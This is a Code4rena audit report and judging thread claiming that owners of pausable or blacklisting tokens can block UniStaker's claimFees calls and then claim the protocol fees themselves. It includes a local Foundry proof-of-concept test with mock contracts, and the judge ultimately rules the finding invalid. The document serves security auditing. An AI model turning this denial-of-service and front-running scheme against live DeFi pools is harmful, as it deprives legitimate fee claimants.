Token owners can unfairly claim protocol fees through DOS attack

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-02-uniswap-foundation/blob/5298812a129f942555466ebaa6ea9a2af4be0ccc/src/V3FactoryOwner.sol#L189-L190
https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3Pool.sol#L856-L865

Vulnerability details

Description

In UniStaker, protocol fees are collected via the claimFees function, enabling MEV bots or anyone to pay in WETH and receive pool protocol fees for themselves.

function claimFees(
    IUniswapV3PoolOwnerActions _pool,
    address _recipient,
    uint128 _amount0Requested,
    uint128 _amount1Requested
) external returns (uint128, uint128) {
    PAYOUT_TOKEN.safeTransferFrom(msg.sender, address(REWARD_RECEIVER), payoutAmount);
    REWARD_RECEIVER.notifyRewardAmount(payoutAmount);
    (uint128 _amount0, uint128 _amount1) =
        _pool.collectProtocol(_recipient, _amount0Requested, _amount1Requested);

    // Protect the caller from receiving less than requested. See `collectProtocol` for context.
    if (_amount0 < _amount0Requested || _amount1 < _amount1Requested) {
        revert V3FactoryOwner__InsufficientFeesCollected();
    }
    emit FeesClaimed(address(_pool), msg.sender, _recipient, _amount0, _amount1);
    return (_amount0, _amount1);
}

V3FactoryOwner with access to retrieve protocol fees from pools will call the collectProtocol function within the pool contract to transfer the fees to the recipient provided by the caller.

function collectProtocol(
    address recipient,
    uint128 amount0Requested,
    uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
    amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;
    amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;

    if (amount0 > 0) {
        if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings
        protocolFees.token0 -= amount0;
        TransferHelper.safeTransfer(token0, recipient, amount0);
    }
    if (amount1 > 0) {
        if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings
        protocolFees.token1 -= amount1;
        TransferHelper.safeTransfer(token1, recipient, amount1);
    }

    emit CollectProtocol(msg.sender, recipient, amount0, amount1);
}

In decentralized exchanges like Uniswap, tokens within pools may not adhere to the same standards. Some of them incorporate functionalities such as blacklisting and pausing, which token owners can utilize, potentially leading to denial-of-service (DOS) attacks.

Examples

• In the USDC/ETH pool, the USDC token includes a blacklist functionality that can prevent the claimFees caller by adding the fees recipient to the blacklist and reverting the transaction.

function transfer(address to, uint256 value)
        external
        override
        whenNotPaused
        notBlacklisted(msg.sender)
        notBlacklisted(to)
        returns (bool)
{
    _transfer(msg.sender, to, value);
    return true;
}

• Some tokens like USDC, USDT, etc., implement additional functionalities such as pausing, where the owner can pause the contract before pool protocol fees become profitable to claim, preventing the caller from claiming fees. Afterward, the owner can unpause the contract and claim the fees for themselves.

Impact

• Token owners claiming all protocol fees can lead to an unfair race for claiming protocol fees.
• Token owners can extend the duration of DOS attacks to claim fees with lower costs.

Proof of Concept

There are two ways to cause DOS:

• Frontrunning and blacklisting caller's fee recepient.
• Temporary pausing or utilizing other functionalities.

In this proof of concept, the temporary pausing case is demonstrated.

1. Protocol fees are nearing a point where claiming them will become profitable.
2. The token owner pauses the token contract, causing the claimFees caller's transactions to be reverted.
3. The token owner unpauses the token contract, enabling them to claim the protocol fees as they become profitable.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.23;

import {Vm, Test, console} from "forge-std/Test.sol";
import {UniStaker} from "src/UniStaker.sol";
import {IUniswapV3FactoryOwnerActions} from "src/interfaces/IUniswapV3FactoryOwnerActions.sol";
import {IUniswapV3PoolOwnerActions} from "src/interfaces/IUniswapV3PoolOwnerActions.sol";
import {INotifiableRewardReceiver} from "src/interfaces/INotifiableRewardReceiver.sol";
import {IERC20Delegates} from "src/interfaces/IERC20Delegates.sol";
import {ERC20, IERC20} from "openzeppelin/token/ERC20/ERC20.sol";
import {V3FactoryOwner} from "src/V3FactoryOwner.sol";
import {TransferHelper} from "v3-core/libraries/TransferHelper.sol";

contract PausableToken is ERC20{
    bool public isPaused = false;
    address public owner;

    constructor(address _owner, string memory _name, string memory _symbol) ERC20(_name, _symbol){
        owner = _owner;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        require(!isPaused, "Contract is paused!");
        return super.transfer(to, value);
    }

    function transferFrom(address from, address to, uint256 value) public override returns (bool){
        require(!isPaused, "Contract is paused!");
        return super.transferFrom(from, to, value);
    }

    function setIsPaused(bool _status) public {
        require(owner == msg.sender, "Only owner");
        isPaused = _status;
    }

    function mint(address _account, uint256 _amount) public {
        _mint(_account, _amount);
    }
}

contract MockERC20 is ERC20{
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol){}

    function mint(address _account, uint256 _amount) public {
        _mint(_account, _amount);
    }
}

contract UniswapV3PoolMock{
    struct ProtocolFees {
        uint128 token0;
        uint128 token1;
    }

    ProtocolFees public protocolFees;
    address public token0;
    address public token1;

    event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);

    constructor(address _token0, address _token1) {
        token0 = _token0;
        token1 = _token1;
    }

    function setProtocolFees(uint128 _amount0, uint128 _amount1) public {
        protocolFees = ProtocolFees({token0: _amount0, token1: _amount1});
    }

    function collectProtocol(address recipient, uint128 amount0Requested, uint128 amount1Requested) public returns (uint128 amount0, uint128 amount1){
        amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;
        amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;

        if (amount0 > 0) {
            if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings
            protocolFees.token0 -= amount0;
            TransferHelper.safeTransfer(token0, recipient, amount0);
        }
        if (amount1 > 0) {
            if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings
            protocolFees.token1 -= amount1;
            TransferHelper.safeTransfer(token1, recipient, amount1);
        }

        emit CollectProtocol(msg.sender, recipient, amount0, amount1);
    }
}

contract UniStakerPOC is Test {
    // Addresses
    address public admin = makeAddr("ADMIN");
    address public pausableTokenOwner = makeAddr("PAUSABLE_OWNER");
    address public uniV3Factory = makeAddr("UniswapV3Factory");

    // Values
    uint256 public payoutAmount = 1e18;

    PausableToken pausableToken;
    MockERC20 weth;
    MockERC20 uni;
    UniStaker uniStaker;
    V3FactoryOwner factoryOwner;
    UniswapV3PoolMock uniV3Pool;

    function setUp() public {
        // Deploy contracts
        pausableToken = new PausableToken(pausableTokenOwner, "Pausable Token", "PT");
        weth = new MockERC20("WETH token", "WETH");
        uni = new MockERC20("Uniswap Gov token", "UNI");
        uniStaker = new UniStaker(IERC20(address(weth)), IERC20Delegates(address(uni)), address(admin));
        factoryOwner = new V3FactoryOwner(admin, IUniswapV3FactoryOwnerActions(address(uniStaker)), IERC20(weth),
            payoutAmount, INotifiableRewardReceiver(address(uniStaker)));
        // Deploy a pool
        uniV3Pool = new UniswapV3PoolMock(address(pausableToken), address(weth));

        // Allow the V3FactoryOwner contract to call the `setRewardNotifier` function.
        vm.prank(admin);
        uniStaker.setRewardNotifier(address(factoryOwner), true);
    }

    function test_tokenOwnersCanClaimProtocolFeesUnfairly() public {
        // 1. Protocol fees are nearing a point where claiming them will become profitable.
        // We assume that 100 PT plus 0.9 WETH is less than 1 WETH (payoutAmount).
        pausableToken.mint(address(uniV3Pool), 100e18);
        weth.mint(address(uniV3Pool), 9e17);
        uniV3Pool.setProtocolFees(100e18, 9e17);

        // 2. The token owner pauses the token contract, causing the claimFees caller's transactions to be reverted.
        vm.startPrank(pausableTokenOwner);
        pausableToken.setIsPaused(true);
        vm.stopPrank();

        // 3. Protocol fees becoming profitable are claimed by the token owner.
        // 200 PT plus 1 WETH is more than 1 WETH (payoutAmount).
        pausableToken.mint(address(uniV3Pool), 100e18);
        weth.mint(address(uniV3Pool), 1e17);
        uniV3Pool.setProtocolFees(200e18, 1e18);

        // A random caller attempting to claim is met with a revert.
        address caller = makeAddr("CALLER");
        weth.mint(address(caller), 10e18);
        vm.startPrank(caller);
        weth.approve(address(factoryOwner), payoutAmount);
        // Reverting through the TransferHelper library in the event of an unsuccessful case.
        vm.expectRevert(bytes("TF"));
        factoryOwner.claimFees(IUniswapV3PoolOwnerActions(address(uniV3Pool)), caller, 200e18 - 1, 1e18 - 1);
        vm.stopPrank();

        // The token owner unpauses the token and attempts to claim fees.
        vm.startPrank(pausableTokenOwner);
        pausableToken.setIsPaused(false);
        vm.stopPrank();

        weth.mint(address(pausableTokenOwner), 1e18);
        vm.startPrank(pausableTokenOwner);
        weth.approve(address(factoryOwner), payoutAmount);
        factoryOwner.claimFees(IUniswapV3PoolOwnerActions(address(uniV3Pool)), address(pausableTokenOwner), 200e18 - 1, 1e18 - 1);
        vm.stopPrank();

        console.log("The balances of the token owner after claiming fees.");
        console.log("PT: ", pausableToken.balanceOf(address(pausableTokenOwner)));
        console.log("WETH: ", weth.balanceOf(address(pausableTokenOwner)));
        assertEq(pausableToken.balanceOf(address(pausableTokenOwner)), 200e18 - 1);
        assertEq(weth.balanceOf(address(pausableTokenOwner)), 1e18 - 1);

    }
}

POC setup

foundry.toml:

[profile.default]
  optimizer = true
  optimizer_runs = 10_000_000
  remappings = [
    "openzeppelin/=lib/openzeppelin-contracts/contracts",
    "v3-periphery=node_modules/@uniswap/v3-periphery/contracts",
    "v3-core=node_modules/@uniswap/v3-core/contracts"
  ]
  solc_version = "0.8.23"

forge test --mt test_tokenOwnersCanClaimProtocolFeesUnfairly -vv

Tools Used

Manual Review
Foundry

Assessed type

DoS

[c4-judge]

MarioPoneder marked the issue as duplicate of #34

[c4-judge]

MarioPoneder changed the severity to 2 (Med Risk)

[c4-judge]

MarioPoneder marked the issue as satisfactory

[visualbits]

This issue is not a duplicate of #34; it's a separate issue. Please review it again. Thanks!

[MarioPoneder]

Thank you for your comment!

You are correct, I apologize for the oversight. Although this report also showed the not-clearing-slot problem it's not the emphasis of the report.
Instead, this report shows a potential DoS attack vector due to non-standard ERC-20 behavior (external risk) which should rather be discussed in the Analysis report.
See also: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-judging-analysis-submissions

[c4-judge]

MarioPoneder marked the issue as not a duplicate

[c4-judge]

MarioPoneder marked the issue as unsatisfactory:
Invalid